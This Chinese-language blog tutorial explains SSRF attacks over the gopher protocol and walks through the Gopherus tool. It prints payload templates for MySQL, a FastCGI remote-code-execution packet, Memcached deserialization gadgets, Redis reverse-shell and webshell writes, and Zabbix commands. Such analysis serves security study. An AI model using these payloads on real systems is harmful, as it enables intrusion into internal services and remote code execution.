关于gopher协议的ssrf攻击
Gopher协议浅析
Gopher协议是internet的一个信息查找系统,俗称万能协议,可以通过gopher访问对应计算机上的其他资源,例如利用gopher实现:GET请求,POST请求,内网的redis,mysql(以及各类关系型数据库)未授权访问,以及MongoDB,Memcache等。
协议详情
端口 |
默认为70端口,可以自定义 |
协议格式 |
gopher://127.0.0.1:70/_[data] “_”相当于一个连接符,可以设置为任意字符,不包括在为请求数据内 |
支持应用/中间件 |
服务端:目前测试nginx支持,apache 暂不支持(会返回400错误) 客户端:curl、libcurl支持该协议访问 |
样例
实验环境:nginx 1.15.11、curl 7.47.0
访问gopher协议与http类似
ip:port部分:gopher://10.67.9.111/_
数据部分:
%47%45%54%20%2f%31%2e%74%78%74%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%30%2e%36%37%2e%39%2e%31%31%31%0a%0a
该编码为http请求体的url编码
可以看到可以返回http返回请求。
Gopherus工具解析
Gopherus工具是用来专门生成gopher协议的payload工具,通过gopher协议的以及各种被攻击应用的tcp包特点来构造payload
目前支持生成payload应用有:
MySQL (Port:3306)
FastCGI (Port:9000)
Memcached (Port:11211)
Redis (Port:6379)
Zabbix (Port:10050)
SMTP (Port:25)
Script目录下存放为各种payload生成器
- Mysql
payload通过mysql正常登陆并执行sql语句的tcp包来构造,分成用户认证部分与sql执行部分
payload:
“00000185a6ff0100000001210000000000000000000000000000000000000000000000”+用户名hex+”00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c”+hex(SQL_EN(sql语句))+ “0100000001”
通过gopher发送该payload至本地3306端口执行mysql语句并返回结果
- FastCGI
针对FastCGI的特性构造一个带有后门php文件的payload,传入fastcgi监听的服务,造成远程代码执行(远程命令执行)
payload:
"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" +长度相关字符串+“\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e”+len(len(commend))+"CONTENT_LENGTH"+len(command)+ "\x0e\x04REQUEST_METHODPOST\tKPHP_VALUEallow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input\x0f" +len(filename)+ "SCRIPT_FILENAME"+filename+"\r\x01DOCUMENT_ROOT/"+字符长度填充位+"\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00"+命令长度字符串+"\x04\x00"+backdoor_phpcode+“\x00\x00\x00\x00”
其中两个需要注意的点:
- 必须知道服务器某个php文件的绝对路径
- Backdoor_phpcode并不会生成文件,仅执行,且可以是任意php代码
- Memcache
支持memcache的payload有三种,分别为php、python、ruby
Payload:
"%0d%0aset SpyD3r 4 0 " +len(code) + "%0d%0a" +code+ "%0d%0a"
其中code:
Php:序列化代码,例如O:5:"Hello":0:{}
Python:”cposix\r\nsystem\r\n\p1\r\n(S’”+payload+”\r\np2\r\ntRp3\r\n.”
Ruby:"\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:\x08ERB\x06:\t@srcI\""+len(code)+ "%x(" + code + """);\x06:\x06ET:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\tT:\x10@deprecatoro:\x1fActiveSupport::Deprecation\x06:\x0e@silencedT"
- Redis
Redis的利用方法分为两种,直接反弹与写phpshell
- Revers shell:
Payload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len_cmd) + "\r" + cmd + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(crontab_dir)) + "\r" + crontab_dir + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$4\rroot\r*1\r$4\rsave\r"
- Phpshell:
Payload:"*1\r$8\rflushall\r*3\r$3\rset\r$1\r1\r$" + str(len(php_payload) + 4) + "\r" + php_payload + "\r*4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(web_root_location)) + "\r" + web_root_location + "\r*4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$9\rshell.php\r*1\r$4\rsave\r"
- Zabbix
Payload:"system.run[("+command+");sleep 2s]"
- SMTP
Payload:MAIL\x20FROM:yy\nRCPT\x20To:yy\nDATA\nFrom:yy\nSubject:yy\nMessage:flag\n.
利用方法
Nginx版本:1.10
PHP版本:7.0
本地构造存在ssrf的php文件,通过url参数传入payload
Gopherus生成的payload的必须在重新进行urlencode一次,因为浏览器在传输url的时候会解码一次,如果不进行二次编码,payload会传输错误
Mysql
Mysql模块的利用必须满足本地访问root或者其他账户无密码的情况,也可以构造包含账号密码的payload进行攻击
FastCGI
Fastcgi需要指定一个服务php文件绝对路径
Memcached
Memcached本身用于存放小块的缓存数据,根据使用情况也可以反弹shell
这里以python为例,首先生成反弹shell的exp
二次编码发送payload,服务器接收
当服务器端获取并执行反序列化会执行命令
Redis
Redis分为两种,一种利用写入计划任务执行反弹shell操作,一种是在知晓网站网站绝对路径的情况下,写入phpshell
以写入php为例子
Zabbix
无环境,思路与FastCGI类似
SMTP
SMTP主要利用ssrf来发送邮件,暂时没有获取权限的功能
关于gopher协议的ssrf攻击相关推荐
- Web漏洞之SSRF攻击汇总
目录 靶场拓扑设计 x.x.x.x:8080 - 判断 SSRF 是否存在 172.72.23.21 - SSRF 获取本地信息 FILE 协议获取本地信息 172.72.23.1/24 - SSRF ...
- SSRF中phar协议和gopher协议的利用
我们在学习SSRF漏洞的时候,经常会只关注file协议等,因为利用方式简单.实际上随着php版本的提升和编程技术的规范,能够直接利用的漏洞越来越少了,所以学习使用phar和gopher协议是很有必要的 ...
- SSRF之GOPHER协议利用
目录 GOPHER协议 GOPHER协议发起的格式 GOPHER利用工具 案例一:CTFSHOW-359关 GOPHER协议 GOPHER协议是一种比HTTP协议还要古老的协议,默认工作端口70,但是 ...
- 利用SSRF攻击Redis
前置知识 利用SSRF来攻击靶机的redis服务,需要涉及到的一些知识点: 1,Redis客户端和服务端通信过程,以及常用命令: 2,相关协议,例如dict://协议和gother协议的使用 dict ...
- php禁用gopher协议,SSRF攻击-运用gopher协议构造POST包--emmmm(http://10.112.68.215:10004/index.php?action=login)...
还是天枢的一道CTF题,启程! 分析题目,自己注册账户并登陆后,提示输入一个url,网站会自己运行查找网页信息. emmmmm,很挑衅,网站就当作服务器,我们在url框中输入一个伪造的执行代码,让他运 ...
- SSRF 302跳转 gopher协议攻击redis写入ssh公钥,实现远程无密登录(学习总结)
一.SSRF漏洞 SSRF(Server Side Request Forgery,服务器端请求伪造)是一种攻击者通过构造数据进而伪造服务器端发起请求的漏洞,因为求情是由服务器发出的,所以往往是利用S ...
- SSRF学习-gopher协议学习
ssrf是攻击者伪造服务器端发起请求的漏洞 读取服务器内部文件 端口扫描 攻击脆弱的内网应用 pikachu靶场 curl_exec() 使用此函数前提 PHP版本>=5.3 开启extensi ...
- SSRF攻击实例解析
ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为 ...
- 实战 | SSRF攻击内网的实战案例
0x01 苦逼的测试任务 某一天,我照常在学校的CTF群和学长吹水,突然管事的学长在群里发了一张图,这个月轮到我们学校对省内的某旅游相关企业进行漏洞测试.上面的老师自然而然把这个任务分配给我们CTF战 ...
- 【SSRF技巧拓展】————2、SSRF攻击实例解析
ssrf攻击概述 很多web应用都提供了从其他的服务器上获取数据的功能.使用用户指定的URL,web应用可以获取图片,下载文件,读取文件内容等.这个功能如果被恶意使用,可以利用存在缺陷的web应用作为 ...
最新文章
- 史上最萌的统计学入门书,快来看看长啥样
- 设计模式学习3——装饰者模式(Decorator)
- 消费金融和信用卡本质上的区别是什么?
- 摄影中的色温和白平衡及其二者关系的全面详解
- ajax技术书,ajax技术
- HTML - 超文本标记语言 (Hyper Text Markup Language)
- C# 序列化理解 1(转)
- 代理ip如何使用_为什么在使用代理IP爬虫时会出现超时?
- 1.空间中直线交点坐标问题,2.已知球面三点求球心问题以及Matlab实现
- grid autosport额外内容下载慢_世界土壤数据库(HWSD)全球土壤数据下载处理
- esxi安装参考文章及见解
- STM32F103RC单片机ADC1使用TIM1自动触发注入通道组的AD转换
- MATLAB 结构矩阵和单元矩阵
- srt转vtt——在线转换工具
- php配置上传pdf文件大小,文件上传有大小限制?PDF文件怎么压缩到指定大小?
- android 笔试题大全,2018年Android面试题大全
- 所有Android 开发者都要知道的开发常识
- 0117 - 深耕 iBooks 标注导入
- latex中的字体族,\texttt{}是什么
- 磁盘缓存和缓存命中率
热门文章
- EPLAN 电气工程图纸
- php后台管理修改密码,重置网站后台管理员密码
- python 求最大值_Python 获取最大值函数
- 中国拖车洒水器市场趋势报告、技术动态创新及市场预测
- 带你玩转 3D 检测和分割 (二):核心组件分析之坐标系和 Box
- 电脑被流氓软件入侵?教你彻底清除
- 计算机复试读研规划,【图片】2020考研,老学长教你如何规划!【计算机考研吧】_百度贴吧...
- WPS for Linux(ubuntu)字体配置(字体缺失解决办法)
- 添加MSN客服代码,可显示MSN在线和不在线,自动打开MSN聊天窗口
- promise终止方案